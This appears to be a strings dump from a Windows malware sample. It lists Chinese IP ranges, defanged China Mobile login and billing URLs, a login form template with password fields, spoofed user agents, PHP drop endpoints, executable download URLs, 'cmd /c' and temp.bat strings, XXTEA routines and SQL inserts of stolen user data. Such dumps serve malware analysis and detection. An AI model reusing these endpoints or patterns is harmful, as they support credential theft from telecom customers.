203.209.224.0 - 203.209.255.255

203.212.0.0 - 203.212.15.255

203.212.80.0 - 203.212.95.255

203.222.192.0 - 203.222.207.255

203.223.0.0 - 203.223.15.255

210.2.0.0 - 210.2.31.255

210.5.0.0 - 210.5.47.255

210.5.144.0 - 210.5.159.255

210.12.0.0 - 210.13.255.255

210.14.64.0 - 210.14.95.255

210.14.112.0 - 210.15.191.255

210.16.128.0 - 210.16.191.255

210.21.0.0 - 210.22.255.255

210.23.32.0 - 210.23.63.255

210.25.0.0 - 210.47.255.255

210.51.0.0 - 210.53.255.255

210.56.192.0 - 210.56.223.255

210.72.0.0 - 210.78.255.255

210.79.64.0 - 210.79.127.255

210.79.224.0 - 210.79.255.255

210.82.0.0 - 210.83.255.255

210.87.128.0 - 210.87.191.255

210.185.192.0 - 210.185.255.255

210.192.96.0 - 210.192.127.255

211.64.0.0 - 211.71.255.255

211.80.0.0 - 211.103.255.255

211.136.0.0 - 211.167.255.255

218.0.0.0 - 218.31.255.255

218.56.0.0 - 218.99.255.255

218.104.0.0 - 218.109.255.255

218.185.192.0 - 218.185.223.255

218.192.0.0 - 218.207.255.255

218.240.0.0 - 218.247.255.255

218.249.0.0 - 218.249.255.255

219.72.0.0 - 219.72.255.255

219.82.0.0 - 219.82.255.255

219.128.0.0 - 219.159.255.255

219.216.0.0 - 219.239.255.255

219.242.0.0 - 219.247.255.255

220.101.192.0 - 220.101.255.255

220.112.0.0 - 220.115.255.255

220.152.128.0 - 220.152.255.255

220.154.0.0 - 220.155.255.255

220.160.0.0 - 220.207.255.255

220.231.0.0 - 220.231.63.255

220.231.128.0 - 220.231.255.255

220.232.64.0 - 220.232.127.255

220.234.0.0 - 220.234.255.255

220.242.0.0 - 220.243.255.255

220.248.0.0 - 220.251.255.255

221.0.0.0 - 221.12.191.255

221.13.0.0 - 221.15.255.255

221.122.0.0 - 221.123.255.255

221.129.0.0 - 221.131.255.255

221.133.224.0 - 221.133.255.255

221.136.0.0 - 221.137.255.255

221.172.0.0 - 221.183.255.255

221.192.0.0 - 221.199.207.255

221.199.224.0 - 221.239.255.255

222.16.0.0 - 222.95.255.255

222.125.0.0 - 222.125.255.255

222.126.128.0 - 222.126.255.255

222.128.0.0 - 222.143.255.255

222.160.0.0 - 222.163.255.255

222.168.0.0 - 222.223.255.255

function time(){return new Date().getTime()}

WinHttp.WinHttpRequest.5.1

hXXp://shop36482664.taobao.com

12:00:01

01:00:01

1970-01-01 08:00:00

1970-01-01 00:00:00

@ 23:59:59

hXXp://service.js.10086.cn/index.html

service.js.10086.cn

hXXp://service.js.10086.cn/my/MY_LSJL.html

hXXp://service.js.10086.cn/my/actionDispatcher.do

hXXp://service.js.10086.cn/my/MY_LSJL.html?typeNum=2

reqUrl=CZJFJLQuery&busiNum=CZJF_CZJFJL

hXXp://service.sx.10086.cn/enhance/operate/calltransfer/callTransferOrd.action

service.sx.10086.cn

Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0

hXXp://service.sx.10086.cn/yw/hjzy.html

master_serv_id=1001&action_flag=0&other_phone=Ã¨Â¯Â·Ã¨Â¾â€œÃ¥â€¦Â¥Ã¥â€˜Â¼Ã¥ÂÂ«Ã¨Â½Â¬Ã§Â§Â»Ã¥ÂÂ·Ã§Â Â

},"retMsg":"ok!"

hXXp://service.js.10086.cn/login.html?url=my/MY_LSJL.html?typeNum=2

hXXp://service.js.10086.cn/actionDispatcher.do

application/x-www-form-urlencoded

&city=NJDQ&login_switch=1&password=

userLoginTransferProtocol=https&redirectUrl=my/MY_LSJL.html?typeNum=2&reqUrl=login&busiNum=LOGIN&operType=0&passwordType=1&isSavePasswordVal=0&isSavePasswordVal_N=1&currentD=1&loginFormTab=http&loginType=1&mobile=

|*.txt

Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30

Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.9.168 Version/11.50

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)

Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; TheWorld)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)

Mozilla/5.0 (Windows NT 5.5) AppleWebKit/533.30 (KHTML, like Gecko) Chrome/12.0.51.122 Safari/534.30

Mozilla/5.0 (Windows NT 5.4; rv:5.3 Gecko/20150101 Firefox/5.0

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.3; Trident/4.0; .NET CLR 1.1.4312; .NET CLR 2.0.50227; .NET4.0E; .NET CLR 3.0.4516.2152; .NET CLR 3.5.30729; .NET4.0C)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.8; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.15 SV1; .NET CLR 2.0.51727)

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Trident/5.0; SLCC3; .NET CLR 2.0.51727; .NET CLR 3.630729; .NET CLR 3.0.31729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Opera/9.80 (Windows NT 5.2; U; zh-cn) Presto/3.9.168 Version/21.50

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 8.1; SV1)

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 7.1; Trident/5.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)

Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1

Mozilla/5.0 (Windows; U; Windows NT 5.3; ) AppleWebKit/5344.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.1; SV1; .NET CLR 2.0.50727; TheWorld)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 2.0.10727; .NET CLR 3.104506.30)

Mozilla/5.0 (Windows NT 5.6AppleWebKit/588.30 (KHTML, like Gecko) Chrome/12.0.801.122 Safari/454.30

Mozilla/5.0 (Windows NT 5.2; rv:5.1) Gecko/20150202 Firefox/5.0

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.4; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0E; .NET CLR 3.0.7506.2152; .NET CLR 3.5.30729; .NET4.0C)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.8; .NET CLR 1.1.4382; .NET CLR 2.0.50727; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.4; SV1; .NET CLR 2.0.50727)

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.9; Trident/5.0; SLCC2; .NET CLR 3.0.50727; .NET CLR 3.5.30729; .NET CLR 4.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.9.168 Version/12.50

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.8; SV9)

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.7; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)

Mozilla/5.0 (Windows; U; Windows NT 5.3; zh-CN) AppleWebKit/583.21.1 (KHTML, like Gecko) Version/6.0.5 Safari/803.21.1

Mozilla/5.0 (Windows; U; Windows NT 5.2; ) AppleWebKit/574.12 (KHTML, like Gecko) Maxthon/5.0 Safari/535.12

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.8; SV5; .NET CLR 2.5.50727; TheWorld)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.7; .NET CLR 2.0.58827; .NET CLR 3.0.54506.30)

1.0.2.5

1828535

hXXp://61.145.203.71:8800/js/

99999999

.at0'M

hXXp://1.mmgx.sinaapp.com/mmgx.php?data=jsyd

\AUpdate.exe

-55641641

wlxz.php

hXXp://1.momopp.sinaapp.com/

momo.php

hXXp://1.momoyz.sinaapp.com/

mmpp.php

' and pass='

http=

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

Content-Type: application/x-www-form-urlencoded

hXXp://

temp.bat

temp.bat "

cmd /c

function encrypt(str,pass){

data = m_xxtea.encrypt(str, pass);

function decrypt(str,pass){

data = m_xxtea.decrypt(str, pass);

if (str.match(/^[\x00-\x7f]*$/) != null) {

return str.toString();

len = str.length;

c = str.charCodeAt(i);

out[j] = str.charAt(i);

out[j] = String.fromCharCode(0xc0 | (c >>> 6),

out[j] = String.fromCharCode(0xe0 | (c >>> 12),

c2 = str.charCodeAt(i);

out[j] = String.fromCharCode(0xf0 | ((c >>> 18) & 0x3f),

return out.join('');

if ((str.match(/^[\x00-\x7f]*$/) != null) ||

(str.match(/^[\x00-\xff]*$/) == null)) {

c = str.charCodeAt(i );

out[j ] = str.charAt(i - 1);

c2 = str.charCodeAt(i );

out[j ] = String.fromCharCode(((c & 0x1f)

c3 = str.charCodeAt(i );

out[j ] = String.fromCharCode(((c & 0x0f)

c4 = str.charCodeAt(i );

out[j ] = String.fromCharCode(((s >>> 10) & 0x03ff) | 0xd800,

var base64EncodeChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /'.split('');

len = str.length;

c = str.charCodeAt(i )

str.charCodeAt(i )

str.charCodeAt(i );

c = str.charCodeAt(i );

c = str.charCodeAt(i )

return out.join('');

-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,

-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63,

if (/[^ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\ \/\=]/.test(str)) {

if (str.charAt(len - 2) == '=') {

else if (str.charAt(len - 1) == '=') {

c1 = base64DecodeChars[str.charCodeAt(i )];

c2 = base64DecodeChars[str.charCodeAt(i )];

out[j ] = String.fromCharCode((c1 > 4));

c3 = base64DecodeChars[str.charCodeAt(i )];

out[j ] = String.fromCharCode(((c2 & 0x0f) > 2));

c4 = base64DecodeChars[str.charCodeAt(i )];

out[j ] = String.fromCharCode(((c3 & 0x03)

var length = data.length;

data[i] = String.fromCharCode(

return data.join('').substring(0, n);

return data.join('');

var length = string.length;

result[i >> 2] = string.charCodeAt(i) |

string.charCodeAt(i 1)

string.charCodeAt(i 2)

string.charCodeAt(i 3)

result[result.length] = length;

this.encrypt = function(string, key) {

var k = stringToLongArray(key, false);

if (k.length

k.length = 4;

var n = v.length - 1;

var mx, e, p, q = Math.floor(6 52 / (n 1)), sum = 0;

this.decrypt = function(string, key) {

var mx, e, p, q = Math.floor(6 52 / (n 1)), sum = q * delta & 0xffffffff;

INSERT INTO users (`user`,`pass`,`key`,`ip`,`dq`,`lx`) VALUES ('

,`key`='

,`key`='',`reg`='' where id=

Ã¸__

EAUT32.dllI

$@15638236

7*s %d. (0x%X

IsBad.adPtr,9

lvrcpyn.nbal

.tiBy

t1lusShuI

AUrl

.RH(H1

KERNEL32.DLL

GDI32.dll

gdiplus.dll

MSVCRT.dll

SHELL32.dll

SHLWAPI.dll

USER32.dll

WININET.dll

GetUrlCacheEntryInfoA

AntiVC.dll

SetClientCertificate

VBScript.RegExp

shop36482664.taobao.com

0.0.0

%d&&'

123456789

00003333

?456789:;

!"#$%&'()* ,-./0123

F%*.*f

CNotSupportedException

commctrl_DragListMsg

Afx:%x:%x:%x:%x:%x

Afx:%x:%x

COMCTL32.DLL

CCmdTarget

JOIN

__MSVCRT_HEAP_SELECT

Broken pipe

Inappropriate I/O control operation

Operation not permitted

RASAPI32.dll

iphlpapi.dll

MPR.dll

WINMM.dll

WS2_32.dll

VERSION.dll

GetProcessHeap

WinExec

KERNEL32.dll

GetKeyState

GetViewportOrgEx

WINSPOOL.DRV

RegCloseKey

RegOpenKeyExA

RegCreateKeyExA

ADVAPI32.dll

ShellExecuteA

OLEAUT32.dll

ODBC32.dll

COMCTL32.dll

WLDAP32.dll

WSOCK32.dll

InternetCrackUrlA

InternetCanonicalizeUrlA

GetCPInfo

CreateDialogIndirectParamA

UnhookWindowsHookEx

SetWindowsHookExA

SetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

ScaleViewportExtEx

GetViewportExtEx

comdlg32.dll

.PAVCException@@

Shell32.dll

Mpr.dll

Advapi32.dll

User32.dll

Gdi32.dll

Kernel32.dll

(&07-034/)7 '

?? / %d]

%d / %d]

.PAVCFileException@@

: %d]

(*.*)|*.*||

(*.WAV;*.MID)|*.WAV;*.MID|WAV

(*.WAV)|*.WAV|MIDI

(*.MID)|*.MID|

(*.txt)|*.txt|

(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG

(*.JPG)|*.JPG|PNG

(*.PNG)|*.PNG|BMP

(*.BMP)|*.BMP|GIF

(*.GIF)|*.GIF|

(*.ICO)|*.ICO|

(*.CUR)|*.CUR|

%s:%d

windows

.PAVCNotSupportedException@@

out.prn

(*.prn)|*.prn|

%d.%d

%d/%d

1.6.9

unsupported zlib version

png_read_image: unsupported transformation

%d / %d

Bogus message code %d

libpng error: %s

libpng warning: %s

1.1.3

bad keyword

libpng does not support gamma background rgb_to_gray

Palette is NULL in indexed image

(%d-%d):

%ld%c

Excel.Application

HTTP/1.0

%s

Reply-To: %s

From: %s

To: %s

Subject: %s

Date: %s

Cc: %s

%a, %d %b %Y %H:%M:%S

SMTP

VVV.dywt.com.cn

;3 #>6.&

'2, / 0&7!4-)1#

BDGetColSQLType

ExecuteSql

.PAVCOleException@@

.PAVCObject@@

.PAVCSimpleException@@

.PAVCMemoryException@@

.?AVCNotSupportedException@@

.PAVCResourceException@@

.PAVCUserException@@

.?AVCCmdTarget@@

.?AVCCmdUI@@

.?AVCTestCmdUI@@

.PAVCOleDispatchException@@

.PAVCArchiveException@@

.PAVCDBException@@

zcÃ

right-curly-bracket

left-curly-bracket

url=hXXp://downs.wxsxjp.com:8800/js/

.exe&var=1.0.3.2&type=0&md5=&txt=hXXp://downs.wxsxjp.com:8800/js/

.txt&

c:\%original file name%.exe

#include "l.chs\afxres.rc" // Standard components

fjL.UYT

PADPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPAD

23456789

2,3,1,1208

yadinae@qq.com

(*.*)

1.0.0.0

%original file name%.exe_312_rwx_10000000_0004B000:

`.rsrc

LEAUT32.dll

Local Settings\Temporary Internet Files\Content.IE5